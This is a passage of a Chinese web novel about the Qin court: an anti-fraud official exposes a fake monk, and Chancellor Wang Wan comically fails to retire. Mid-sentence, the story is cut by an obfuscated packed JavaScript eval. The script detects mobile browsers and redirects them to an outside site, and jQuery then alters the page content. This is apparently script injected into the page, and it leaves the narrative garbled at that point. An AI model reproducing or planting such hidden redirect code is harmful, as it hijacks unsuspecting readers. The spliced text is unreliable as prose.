胡僧看了卢生一眼,见他穿着官服,胸前还有个“诈”字,心中警惕,但面上不动声色:“施主想如何讨教?” “大师能凭空取物,在下也能。”卢生笑道,“不如咱们比一比,看谁取的东西……大?” 胡僧一愣:“多大?” “这么大。”卢生指了指擂台旁边的一口大水缸。 胡僧皱眉:“施主说笑了,贫僧……” “大师不敢?”卢生打断他。 “有何不敢!”胡僧被激怒了,“不过,若是施主输了,当如何?” “若是输了,在下当众拜大师为师,并奉上黄金百两!”卢生大声道,“若是大师输了……” “贫僧立刻离开咸阳,永不再来!”胡僧傲然道。 “一言为定!” 赌约立下,全场沸腾。 “大师先请。”卢生做了个请的手势。 胡僧深吸一口气,走到水缸前,装模作样地念了几句咒语,然后伸手入袖,似乎要掏什么东西。 就在这时,卢生突然大喝一声:“大师且慢!” 胡僧动作一顿。 卢生快步上前,一把抓住胡僧的手腕,用力一抖! “哗啦!” 一堆乱七八糟的东西从胡僧袖子里掉了出来:鱼线、磁石、小刀、折叠的纸花……还有几块用来变“神水”的干冰。 “这是何物?”卢生指着地上的东西,大声问道。 百姓们哗然。 “这……这是……”胡僧脸色惨白。 “这是骗人的道具!”卢生厉声道,“所谓口吐莲花,是用鱼线把藏在袖子里的莲花拉出来!所谓凭空取物,是用磁石吸铁器!所谓刀枪不入……” 卢生拿起一把小刀,对着胡僧的胳膊轻轻一划。 “啊!”胡僧惨叫一声,胳膊上顿时出现一道血痕。 “看见了吗?”卢生举起胡僧流血的手臂,对百姓们喊道,“这就是所谓的神僧!全是骗人的!” 百姓们愤怒了,纷纷捡起石头砸向胡僧。 “打死这个骗子!” “竟敢骗我们!” 胡僧抱头鼠窜,狼狈不堪。 卢生站在擂台上,看着这一幕,长长地舒了口气。 胡僧事件后,大秦反诈司名声大噪。 卢生等人成了咸阳城的名人,百姓们见到他们,不再喊“骗子”,而是恭敬地称一声“卢司长”。 嬴政对他们的表现也很满意,不仅赦免了他们的死罪,还真的赏赐了黄金。 然而,卢生并没有因此放松警惕。 这日,他正在反诈司整理卷宗,一个手下慌慌张张地跑进来。 “司长!不好了!” “又怎么了?”卢生皱眉。 “城外……城外来了个老头,自称‘鬼谷子’,说他能……能起死回生!” “起死回生?”卢生嗤笑,“老套路了,找个假尸体,用药水泡着,看着像活的。去,把他抓起来。” “不是啊司长!”手下急道,“他……他当着很多人的面,真的把一只死鸡……救活了!” 卢生手中的竹简掉在地上。 “你说什么?” “真的!好多人都看见了!那鸡都硬了,他喂了颗药,鸡就扑腾着站起来了!” 卢生脸色大变,立刻起身:“走!去看看!” 来到城外,只见一个仙风道骨的老者站在人群中,手里托着一只活蹦乱跳的公鸡,周围百姓跪了一地,口称“神仙”。 卢生挤进去,看着那只公鸡,眉头紧锁。 这鸡……看着确实像刚死的,但又确实活了。 难道……真有高人? 不,不可能。一定是更高级的骗术。 卢生深吸一口气,走到老者面前,拱手道:“老人家,好手段。” 老者看了他一眼,微微一笑:“你就是卢生?听说你专拆骗局,今日,要拆老夫的吗?” “不敢。”卢生盯着老者的眼睛,“只是想请教,这起死回生之术,是何原理?” “天机不可泄露。”老者摇摇头。 “若是晚辈非要请教呢?”卢生步步紧逼。 老者看着他,突然笑了:“卢生,你拆穿了那么多骗子,可曾想过,你自己,是不是也在一个更大的骗局里?” 卢生一愣:“什么意思?” “没什么意思。”老者意味深长地说道,“有些事,看破不说破,才是生存之道。你说对吗,卢司长?” 卢生看着老者那深不可测的眼神,心中突然升起一股寒意。 他意识到,反诈这条路,还很长。 而真正的“大骗子”,或许……就在那高高的咸阳宫里,看着他们这些棋子,在棋盘上互相厮杀。 “收队。”卢生深吸一口气,对手下说道。 “司长,不抓他了?” “抓什么抓?”卢生瞪了他一眼,“回家吃饭!” 他看了一眼咸阳宫的方向,心中默念:陛下,这反诈的风云,才刚刚开始啊。 21.王绾退休记 咸阳宫,丞相府。 王绾坐在书案前,看着面前堆积如山的竹简,只觉得太阳穴突突直跳,眼前阵阵发黑。 “丞相,这是河西郡关于修渠的预算,请您过目。”一名属官递上一卷竹简。 “丞相,这是南阳郡关于流民安置的奏报,急等批复。”又一名属官递上一卷。 “丞相,这是……” “够了!”王绾猛地一拍桌子,震得竹简哗啦作响,“都给我放下!出去!全都出去!” 属官们吓了一跳,面面相觑,赶紧放下竹简,退了出去。 书房里恢复了安静,只剩下王绾粗重的喘息声。 他今年已经六十有三了。在这个平均寿命不到四十岁的年代,他绝对算得上是“高寿”。 自从先王庄襄王时期入仕,到如今始皇帝一统天下,他已经为大秦操劳了整整四十年。从满头青丝到两鬓斑白,从意气风发的青年到如今垂垂老矣的老翁,他把一生都奉献给了大秦。 但他真的……太累了。 每日天不亮就要起床,子时才能歇息,批阅的奏章堆得比人还高,处理的政务比天上的星星还多。更要命的是,陛下精力旺盛得不像话,经常半夜三更把他从被窝里薅起来,讨论什么“郡县制”的推行细节,或者“驰道”的修建路线。 再这样下去,他觉得自己可能活不到明年。 “不行,”王绾扶着桌案站起身,眼神逐渐坚定,“我得走。再不走,这把老骨头就要交代在咸阳了。” 他铺开一卷崭新的竹简,提起笔,深吸一口气,开始写他人生中最重要的奏章——告老还乡疏。 “臣王绾,顿首再拜,谨奏陛下……” 次日,大朝会。 王绾顶着两个硕大的黑眼圈,手持笏板,站在百官之首,神情肃穆,仿佛即将奔赴刑场的勇士。 “有事启奏,无事退朝。”内侍尖细的声音响起。 “臣,有本奏!”王绾深吸一口气,大步出列。 嬴政坐在御座上,看着王绾那副视死如归的样子,挑了挑眉:“王相有何事?” 王绾“噗通”一声跪下,双手高举奏章:“陛下!臣……臣年事已高,精力衰退,近来常感头晕目眩,四肢无力,恐难当丞相重任。恳请陛下……恩准臣告老还乡,颐养天年!” 大殿内一片寂静。 众臣都惊呆了。王丞相要退休?这……这可是大事啊! 嬴政看着跪在地上的王绾,手指轻轻敲击着龙椅扶手,没有说话。 许久,他才缓缓开口:“王相,你今年……六十有三了吧?” “是……是。”王绾心中一喜,陛下记得我的年龄,看来有戏! “嗯,是老了点。”嬴政点点头,话锋一转,“不过,朕记得,先王在世时,你也是这副模样,那时候你才四十岁,就说自己‘精力不济’,想辞官。先王没准,让你多干二十年,这不也干得好好的吗?” 王绾:“……”陛下,您记性要不要这么好? “陛下,”王绾硬着头皮道,“此一时彼一时。如今大秦一统天下,政务繁杂,远胜往昔。臣……臣实在是心有余而力不足啊!” “心有余而力不足?”嬴政站起身,走下御座,来到王绾面前,拍了拍他的肩膀,“王相,朕看你昨日批阅奏章,一口气批了三十卷,字迹工整,逻辑清晰,比李斯那小子强多了。这像是力不足的样子?” 李斯在一旁无辜躺枪,嘴角抽搐了一下。 “陛下,”王绾急中生智,突然捂住胸口,剧烈咳嗽起来,“咳咳咳……臣……臣近日偶感风寒,太医说……说臣这是积劳成疾,需静养……静养半年……” “风寒?”嬴政眯起眼睛,“夏无且。” “臣在。”太医令夏无且出列。 “去,给王相把把脉。” 夏无且走到王绾面前,王绾拼命给他使眼色:老夏,帮帮忙,就说我快死了! 夏无且面无表情地搭上王绾的手腕,片刻后,转身对嬴政道:“回陛下,王相脉象……沉稳有力,气血充盈,只是肝火稍旺,并无大碍。至于风寒……臣没摸出来。” 王绾:“……”夏无且!你这个叛徒!昨天你还收了我的参汤! 嬴政满意地点点头:“听见了吗,王相?夏太医说你身体好得很,再干个十年八年不成问题。” “陛下!”王绾欲哭无泪。 “好了,”嬴政挥挥手,“王相的心意朕领了。这样吧,朕准你……每日晚半个时辰上朝,早半个时辰下朝。如何?” 王绾:“……”这有什么区别?不还是得干活吗? “退朝!”嬴政不给王绾再说话的机会,转身就走。 第一次进攻,失败。 第一次试探失败,王绾痛定思痛,决定使出杀手锏——苦肉计。 不就是装病吗?夏无且不配合,我自己来! 这日,王绾没去上朝,而是派人给宫里递了消息:王丞相昨夜突发急病,卧床不起,无法视事。 消息传到章台殿,嬴政正在批阅奏章,闻言挑了挑眉:“哦?病了?” “回陛下,说是……中风,嘴歪眼斜,话都说不利索了。”内侍小心翼翼地说道。 “中风?”嬴政放下笔,嘴角勾起一抹玩味的笑,“走,去看看咱们的王相。” 半个时辰后,嬴政的銮驾停在了丞相府门口。 王绾躺在床上,脸上抹了姜黄粉,看着蜡黄蜡黄的,嘴角还特意用胭脂画歪了一点,眼睛半睁半闭,喉咙里发出“嗬嗬”的声音,一副随时要咽气的样子。 “陛下驾到——!”内侍唱喏。 王绾心中暗喜,赶紧闭上眼睛,装死。 “王相!王相!陛下来看您了!”管家在一旁“焦急”地呼唤。 王绾缓缓睁开眼,看到嬴政,挣扎着要起身:“陛……陛下……臣……臣……” “王相不必多礼,躺着说话。”嬴政坐在床边,看着王绾那副“惨状”,强忍住笑意,“朕听说王相病了,特意带了御医来。” 他身后,夏无且面无表情地走上前。 王绾心里咯噔一下,赶紧“虚弱”地摇头:“不……不用了……臣……臣这是老毛病……歇歇就好……” “那怎么行?”嬴政一脸关切,“王相乃国之栋梁,若有个闪失,朕如何向天下人交代?夏无且,给王相好好看看。” “诺。”夏无且上前,不由分说地抓住王绾的手腕。 王绾拼命想把手缩回来,但夏无且手劲极大,根本挣不脱。 片刻后,夏无且松开手,转身对嬴政道:“回陛下,王相脉象……比昨日还要强劲三分。至于中风……” 他看了一眼王绾嘴角的“歪斜”,伸手抹了一下,手指上沾了点红色。 “这是……胭脂。”夏无且淡淡道。 王绾:“……”完了。 嬴政看着王绾,脸上的笑容渐渐消失,眼神变得冰冷:“王绾,你可知,欺君之罪,当如何处置?” 王绾吓得魂飞魄散,直接从床上滚下来,跪在地上磕头:“陛下饶命!臣……臣知罪!臣只是想……想……” “想退休?”嬴政替他补完。 “是……是……”王绾老泪纵横,“陛下,臣真的干不动了!求陛下看在臣为大秦效力四十年的份上,让臣回家种地吧!” 嬴政看着跪在地上痛哭流涕的老臣,沉默良久,叹了口气。 “王绾,你以为朕不想让你休息吗?”嬴政语气缓和了些,“但如今大秦初定,百废待兴。李斯虽然能干,但资历尚浅,难以服众。蒙恬、王翦皆是武将,不通政务。这丞相之位,除了你,朕还能交给谁?” 王绾抬起头,看着嬴政眼中那一丝不易察觉的疲惫,心中突然有些触动。 是啊,陛下也不容易。每天批阅的奏章比他多十倍,睡得比他晚,起得比他早,还要防着六国余孽,操心着北击匈奴…… “陛下……”王绾声音哽咽。 “这样吧,”嬴政站起身,“朕再给你减点担子。以后,李斯负责具体执行,你只负责审核把关。如何?” 王绾看着陛下那殷切的眼神,拒绝的话怎么也说不出口,最终化作一声长叹:“臣……遵旨。” 第二次进攻,不仅失败,还差点把自己搭进去。 既然硬的不行,软的也不行,王绾决定使出终极绝招——摆烂。 你不是不让我走吗?那我就不好好干!把事办砸,看你还留不留我! 于是,接下来的日子里,大秦官场出现了一道奇景。 “陛下,王相把河西修渠的预算批了,但……批错了,多批了一个零,预算超支十倍。” “陛下,王相把南阳流民的安置方案驳回了,理由是……字写得不好看。” “陛下,王相把……” “够了!”嬴政把竹简摔在桌上,脸色铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393021|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青,“这个王绾,是铁了心要跟朕作对啊!” “陛下息怒,”李斯小心翼翼地说道,“王相或许……真是年纪大了,糊涂了。” “糊涂?”嬴政冷笑,“他糊涂?他比谁都精!这是跟朕玩‘自污’呢!” “那……陛下打算如何处置?” “处置?”嬴政站起身,眼中闪过一丝精光,“他不是想摆烂吗?朕就让他摆个够!” 次日,王绾正坐在府里喝茶,等着陛下召他进宫训斥,然后顺势提出辞职。 然而,等来的不是训斥,而是一道圣旨。 “奉天承运,皇帝诏曰:丞相王绾,年高德劭,忠心体国,特赐……黄金千两,锦缎百匹,良田千顷,并……赐‘免死金牌’一面,可免三次死罪。钦此!” 王绾:“???” “公公,这……这是何意?”王绾一脸茫然。 传旨太监笑眯眯地说道:“丞相,陛下说了,您年纪大了,偶尔犯点错,情有可原。这免死金牌,是给您防身的,以后就算把天捅个窟窿,只要不超过三次,都没事。” 王绾:“……”陛下,您这是要让我在“摆烂”的道路上一去不复返啊! “还有,”太监补充道,“陛下说了,既然您精力不济,那以后奏章就不用批了,让李斯批。您就……盖个章就行。” “盖章?” “对,盖章。”太监拿出一枚崭新的玉印,“这是陛下特意为您刻的‘审核专用章’,以后所有奏章,李斯批完,您盖个章,就算通过了。” 王绾看着那枚玉印,嘴角疯狂抽搐。 这不就是让他当“橡皮图章”吗?而且还是那种……盖错了也不用负责的橡皮图章! “陛下还说,”太监压低声音,“您要是觉得盖章也累,可以找个人替您盖。只要别让朕知道就行。” 王绾彻底无语了。 这哪是挽留,这分明是……耍赖啊! 王绾坐在丞相府的书房里,看着桌上那枚沉甸甸的“审核专用章”,和旁边金光闪闪的“免死金牌”,长叹一声,把写了一半的辞呈撕得粉碎。 “老爷,不辞了?”管家小心翼翼地问道。 “辞?”王绾苦笑,“陛下都把话说到这份上了,我还怎么辞?我要是再辞,那就是不识抬举,是找死。” “那……老爷打算怎么办?” “怎么办?”王绾拿起那枚玉印,在手里掂了掂,眼中闪过一丝无奈,又带着一丝释然,“既然陛下非要留我这把老骨头,那我就……再陪他几年吧。” 他站起身,走到窗边,看着远处的咸阳宫,喃喃自语:“陛下,您这哪是舍不得臣,您这是……怕寂寞啊。” 是啊,当年的老臣,走的走,死的死,如今还在朝堂上的,也就剩下他王绾、蒙武(蒙恬之父,已半退休)等寥寥几人了。 陛下虽然雄才大略,但高处不胜寒。身边若是连个能说几句真心话的老人都没了,那该多孤独。 “来人!”王绾喊道。 “在。” “备车,进宫。” “老爷,您这是……” “去给陛下……盖章。” 咸阳宫,章台殿。 嬴政看着去而复返的王绾,脸上露出一丝意料之中的笑容:“王相,病好了?” 王绾躬身行礼,没好气道:“托陛下的福,吃了陛下的‘定心丸’,臣这病,想不好都难。” 嬴政哈哈大笑,走下御座,亲自扶起王绾:“王相,朕就知道,你舍不得朕。” “臣是舍不得这大秦的江山。”王绾哼了一声,“怕被某些年轻人给折腾坏了。” “好好好,随你怎么说。”嬴政心情愉悦,“既然回来了,那就干活吧。这里还有一百卷奏章,等着你盖章呢。” 王绾看着那堆成小山的竹简,眼前一黑:“陛下!您不是说让李斯批吗?” “李斯批完了,你得审核啊。”嬴政理所当然地说道,“审核,也是要花时间的嘛。” 王绾:“……”我就知道,上了这条贼船,就别想轻易下去! 他认命地叹了口气,走到书案前,拿起玉印,蘸了印泥,重重地盖在竹简上。 “啪!” 清脆的响声,在殿内回荡。 嬴政看着王绾那副“生无可恋”却又认真工作的样子,嘴角微微上扬。 这大秦的朝堂,还是得有这老头在,才像个家啊。